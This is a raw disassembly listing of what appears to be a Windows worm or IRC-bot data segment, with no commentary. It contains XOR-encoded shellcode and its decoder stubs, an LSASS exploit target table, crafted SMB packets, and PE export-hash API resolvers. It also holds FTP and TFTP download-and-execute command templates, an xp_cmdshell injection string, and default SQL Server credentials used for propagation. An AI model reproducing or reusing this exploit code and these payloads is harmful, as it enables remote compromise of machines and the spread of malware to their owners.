dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 2 dup(0)
word_424F98 dw 0AD9Dh ; DATA XREF: sub_40282F+30r
; sub_40297A+E4r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_424FD8 dd 1004600h ; DATA XREF: sub_40297A+13Er
; sub_40297A+242r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_425090 dd 0A0D7325h, 0 ; DATA XREF: sub_40282F+EAo
; sub_4036D2+102o ...
aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
; DATA XREF: sub_40282F+A4o
db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------
loc_4250FC: ; DATA XREF: sub_40297A+172o
; sub_403833+178o
jmp short loc_425104
; ---------------------------------------------------------------------------
jmp short loc_425106
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_425104: ; CODE XREF: seg001:loc_4250FCj
; DATA XREF: sub_40297A+27o ...
pop esp
pop esp
loc_425106: ; CODE XREF: seg001:004250FEj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_425110 dd 1CEC8166h ; DATA XREF: sub_40297A+Dr
; sub_403833+Dr
dword_425114 dd 0E4FF07h ; DATA XREF: sub_40297A+16r
; sub_403833+16r
dword_425118 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_4033B6+DEo
; sub_4033B6+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_425168 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_403166+120o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4254CC dd 20h, 0 ; DATA XREF: sub_403166+133o
dd 20h, 5C005Ch, 0
off_4254E0 dd offset aSusan ; DATA XREF: sub_403166+15Ao
; "susan"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 10h
dword_425520 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_403166+171o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_403166+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_425630 dd 18759Fh ; DATA XREF: sub_403166+101o
dword_425634 dd 100139Dh ; DATA XREF: sub_403166+F8o
asc_425638: ; DATA XREF: sub_402FCD+1Co
; sub_4030B0+16o
unicode 0, <\\>,0
align 10h
aIpc: ; DATA XREF: sub_402FCD+Co
; sub_4030B0+Bo
unicode 0, <\IPC$>,0
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033B6+41o
align 10h
jmp short loc_425672
; =============== S U B R O U T I N E =======================================
sub_425662 proc far ; CODE XREF: sub_425662:loc_425672p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_42566A: ; CODE XREF: sub_425662+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_42566A
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425672: ; CODE XREF: seg001:00425660j
call near ptr sub_425662
loc_425677: ; CODE XREF: sub_425662+Ej
jo short loc_4256DB
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_4256F9
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_4256DB: ; CODE XREF: sub_425662:loc_425677j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_4256F9: ; CODE XREF: sub_425662+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_425662 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_4257A0: ; DATA XREF: sub_403833+157o
; sub_403833+214o
jmp short loc_4257B2
; =============== S U B R O U T I N E =======================================
sub_4257A2 proc near ; CODE XREF: sub_4257A2:loc_4257B2p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_4257AA: ; CODE XREF: sub_4257A2+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4257AA
jmp short loc_4257B7
; ---------------------------------------------------------------------------
loc_4257B2: ; CODE XREF: seg001:loc_4257A0j
call sub_4257A2
loc_4257B7: ; CODE XREF: sub_4257A2+Ej
jo short near ptr dword_425730+1Eh
cwde
cdq
cdq
retn
sub_4257A2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_425850 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_403833+106o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_425938 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_403C74+85o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_4259C8 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C74+B1o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 10h
dd 2 dup(0)
dword_425A78 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C74+D8o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_425B58 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+59o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_403833+8Bo
unicode 0, <C$>,0
a?????_0 db '?????',0
align 10h
dword_425BC0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+2ACo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 2 dup(0)
dword_425C30 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+2D3o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_425CD8 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+3B2o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_425D58 dd offset loc_401493+2 ; DATA XREF: sub_403833+3E0o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 2 dup(0)
dword_425DF0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+308o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 2 dup(0)
dword_425E60 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403833+333o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_425ED8 dd 0 ; DATA XREF: sub_403833+361o
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_425F98 dd 1004600h ; DATA XREF: sub_403833+141r
; sub_403833+247r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4036D2+BEo
; sub_40514F+9Do
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036D2+97o
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_4040E5+B2o
align 4
dword_4260DC dd 10FF8h, 0 ; DATA XREF: sub_4040E5+6Ao
dword_4260E4 dd 10FF8h ; DATA XREF: sub_4040E5+79o
dword_4260E8 dd 7FFDF020h, 0 ; DATA XREF: sub_4040E5+162o
dword_4260F0 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_4044FF+78o
dd 13370000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426178 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4044FF+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4261A8 dd 0 ; DATA XREF: sub_4044FF+44o
dd 800000D4h, 2 dup(0)
unk_4261B8 db 81h ; ; DATA XREF: sub_4045DE+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 2 dup(0)
byte_426208 db 41h ; DATA XREF: sub_40467C+108r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_426250 proc near ; DATA XREF: seg001:00404956o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_42634C
push dword ptr [esi]
push 63D61209h
call sub_426362
mov [esi+8], eax
call sub_426315
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_426362
mov [esi+0Ch], eax
call sub_4262C7
push dword ptr [esi+4]
push 4C0297FAh
call sub_426362
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_426250 endp
; =============== S U B R O U T I N E =======================================
sub_4262C7 proc near ; CODE XREF: sub_426250+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4262F0
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_4262C7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262F0 proc near ; CODE XREF: sub_4262C7+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4262FF: ; CODE XREF: sub_4262F0+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_42630C
inc ebx
jmp short loc_4262FF
; ---------------------------------------------------------------------------
loc_42630C: ; CODE XREF: sub_4262F0+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4262F0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426315 proc near ; CODE XREF: sub_426250+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_42632D: ; CODE XREF: sub_426315+1Ej
cmp [ecx], ebx
jz short loc_426335
mov ecx, [ecx]
jmp short loc_42632D
; ---------------------------------------------------------------------------
loc_426335: ; CODE XREF: sub_426315+1Aj
mov edx, edi
loc_426337: ; CODE XREF: sub_426315+2Aj
cmp [edx+4], ebx
jz short loc_426341
mov edx, [edx+4]
jmp short loc_426337
; ---------------------------------------------------------------------------
loc_426341: ; CODE XREF: sub_426315+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_426315 endp
; =============== S U B R O U T I N E =======================================
sub_42634C proc near ; CODE XREF: sub_426250+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_42634C endp
; =============== S U B R O U T I N E =======================================
sub_426362 proc near ; CODE XREF: sub_426250+16p
; sub_426250+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_426378: ; CODE XREF: sub_426362+33j
jecxz short loc_4263B2
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_426385: ; CODE XREF: sub_426362+2Dj
lodsb
cmp al, ah
jz short loc_426391
ror edi, 0Dh
add edi, eax
jmp short loc_426385
; ---------------------------------------------------------------------------
loc_426391: ; CODE XREF: sub_426362+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_426378
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_4263B2: ; CODE XREF: sub_426362:loc_426378j
; sub_426362:loc_4263B2j
jmp short loc_4263B2
sub_426362 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_4263B8 proc near ; DATA XREF: seg001:00404906o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_42640A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_4263D5: ; CODE XREF: sub_4263B8+38j
jecxz short loc_426405
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_4263E0: ; CODE XREF: sub_4263B8+32j
lodsb
test al, al
jz short loc_4263EC
ror edx, 0Dh
add edx, eax
jmp short loc_4263E0
; ---------------------------------------------------------------------------
loc_4263EC: ; CODE XREF: sub_4263B8+2Bj
cmp edx, [esp+arg_0]
jnz short loc_4263D5
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_426405: ; CODE XREF: sub_4263B8:loc_4263D5j
mov [esp+arg_0], ebx
retn
sub_4263B8 endp
; =============== S U B R O U T I N E =======================================
sub_42640A proc near ; CODE XREF: sub_4263B8+7p
; FUNCTION CHUNK AT 00426442 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_426423
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_42642E
; ---------------------------------------------------------------------------
loc_426423: ; CODE XREF: sub_42640A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_42642E: ; CODE XREF: sub_42640A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_426442
sub_42640A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426435 proc near ; CODE XREF: sub_42640A:loc_426442p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_426435 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42640A
loc_426442: ; CODE XREF: sub_42640A+29j
call sub_426435
loc_426447: ; DATA XREF: sub_40408A+1Bo
; sub_40CD3A+7CDo ...
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_42640A
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_42644C dd 60h ; DATA XREF: sub_4040E5+320o
dword_426450 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_4040E5+2F5o
dword_42645C dd 30h ; DATA XREF: sub_4040E5+2CAo
; seg001:0042C684o ...
dword_426460 dd 0A1h ; DATA XREF: sub_4040E5+29Fo
dword_426464 dd 3 ; DATA XREF: sub_4040E5+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_4040E5+153o
align 10h
loc_426470: ; DATA XREF: sub_4040E5+E8o
jmp short near ptr dword_426478
; ---------------------------------------------------------------------------
align 8
dword_426478 dd 0 ; CODE XREF: seg001:loc_426470j
dword_42647C dd 2F2F7325h, 2E732520h, 0 ; DATA XREF: seg001:00404A9Ao
aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: seg001:0040492Bo
db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404EC7+186o
align 4
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
; DATA XREF: sub_404EC7+152o
db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
db '&%s&del eq',0Dh,0Ah
db 27h,0
align 4
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: sub_404EC7+BEo
align 4
aAdmin db 'admin',0 ; DATA XREF: sub_404EC7+29o
; seg001:0042C3F8o
align 4
aRoot db 'root',0 ; DATA XREF: sub_404EC7+22o
; seg001:0042C400o ...
align 4
aSa db 'sa',0 ; DATA XREF: sub_404EC7+1Bo
align 10h
dword_4265F0 dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
; DATA XREF: seg001:00405326o
db 1Ah
; ---------------------------------------------------------------------------
loc_426601: ; CODE XREF: seg001:00426608j
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_426601
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
; ---------------------------------------------------------------------------
dw 28CDh
dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h
dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh
dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h
dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h
dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h
dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h
dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h
dd 0D560h
word_426744 dw 7A69h ; DATA XREF: sub_40514F+30r
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405398+5B1o
aQuit db 'QUIT',0 ; DATA XREF: sub_405398+59Do
; sub_40CD3A+4FCo
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_405398+590o
align 10h
dword_426790 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_405398+545o
dd 2029206Ch, 2BBBB02h
aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.'
db 0
align 10h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405398+526o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_405398+4FAo
align 4
